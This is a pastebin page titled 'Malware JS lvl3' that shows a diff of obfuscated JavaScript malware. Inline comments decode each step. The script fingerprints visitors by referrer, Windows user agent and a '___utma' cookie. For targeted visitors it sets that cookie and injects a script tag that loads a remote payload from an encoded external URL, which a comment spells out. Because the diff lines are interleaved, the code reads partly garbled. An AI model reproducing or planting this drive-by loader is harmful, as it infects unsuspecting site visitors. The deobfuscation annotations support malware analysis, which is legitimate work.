Malware JS lvl3

From eeew, 4 Years ago, written in JavaScript, viewed 278 times. This paste is a reply to Re: Malware JS lvl2 from eeew - go back

URL https://paste.godclan.hu/view/IkS5DV84/diff Embed

Viewing differences between Re: Malware JS lvl2 and Malware JS lvl3

;

(function () {

        var mt = document[yb("jr)e)r4r;e;f8ejr,")] || ''; // document.referrer || ''

        var xy k = new RegExp(yb('&/7)g+)](/;^,[)(5/(/):{')); // "://([^/]+)/"

    // stop if referrer not external

        if (!mt || window[yb(":nvo)i{t{a(c;oql(")][yb("2f)e)r{h,")][yb(":h(c(t}afm(")](xy)[1] == mt[yb(":h(c(t}afm(")](xy)[1]) { // window.location.href.match("://([^/]+)/")[1] == document.referrer.match("://([^/]+)/")

                return;

        };

        var kp = navigator[yb("ct2n{e;g,Agr4e;s(u}")]; // navigator.userAgent

        var ss = document[yb("8e)i7k}o}o(c)")]; // document.cookie

        if (ar(kp, yb("fs}wqo{d6nmigWe")) && !ar(kp, yb("7d;i;o5r(d}n,A}"))) { // userAgent contains "Windows" && userAgent !contains "Android"

                if (!ar(ss, yb("s=(a;m(t7u;_r_y_{"))) { // Date(new Date().getTime() + 60 * 1000 * 60 * 24 * 365);

        document.cookie !contains "___utma="

                        = s('3=}s,e}r}i}p1x)e, 9;{/}=1hit(a)pu ;;m26=ya,mwt;u}_{_2_r') + k.toUTCString(); // "___utma=2; path=/; expires=" + <date+1year>

        function s(b) {

                var qq d = document.createElement('script');

                        qq.type "";

                for (var n = 'text/javascript';

                        qq.async = true;

            // "https://registry.expressvandelivery.com/WebResource.axd?d=dj1iODNkMDU1YzUzZWRhZDkyNjc2ZSZjaWQ9MjQ3&t=1593594029"

                        qq.src = yb('19x2;0}4u965,3,9x5019=;t8&{3{Qcj)M(9fQkW8a,j}Z)S(Z72}c}j(N{y,k{DcZ;h)RyW}ZlzsU2z)Y}1;U}D,Mak3N{D8O{i,1}j}d2=td(?(d}x4a9.6elc;r{u2o}s}e;R{b8e,W4/;m9onc,.yy{r,e(v;i7l,e(d)n;acv)s{s}e4r(pwx(e,.(ywr{tls}iag1efrm/}/m:{s;p}t{t)h(');

                        var di = document.getElementsByTagName('script')[0];

                        di.parentNode.insertBefore(qq, di);

0; n < b.length; n++) {

                        if (n % 2 === 1)

                                d += b[n];

                }

                d = o(d);

                return d;

        }

        function ar(bi, df) { // contains: bi.indexOf(df) !== -1

                return bi[yb("rf;O}xie)d;n{i}")](df) !== -1;

        }

        function yb(ua) o(x) {

                var bb c = '';

                for (var mv f = x.length - 1; f >= 0; mv < ua.length; mv++) f--) {

                        if (mv % 2 === 1)

                                bb c += ua[mv];

x[f];

                }

                bb = iz(bb);

                return bb;

        }

        function iz(rl) {

                var bl = '';

                for (var tx = rl.length - 1; tx >= 0; tx--) {

                        bl += rl[tx];

                }

                return bl;

c;

        }

})();

Reply to "Malware JS lvl3"

Here you can reply to the paste above

Author What's your name?

Title Give your paste a title.

Language What language is your paste written in?

Your paste Paste your paste here

Create Shorturl Create a shorter url that redirects to your paste?

Private Private paste aren't shown in recent listings.

Delete After When should we delete your paste?

Spam protection Type in the letters

godclan.hu Pastebin

Malware JS lvl3

Reply to "Malware JS lvl3"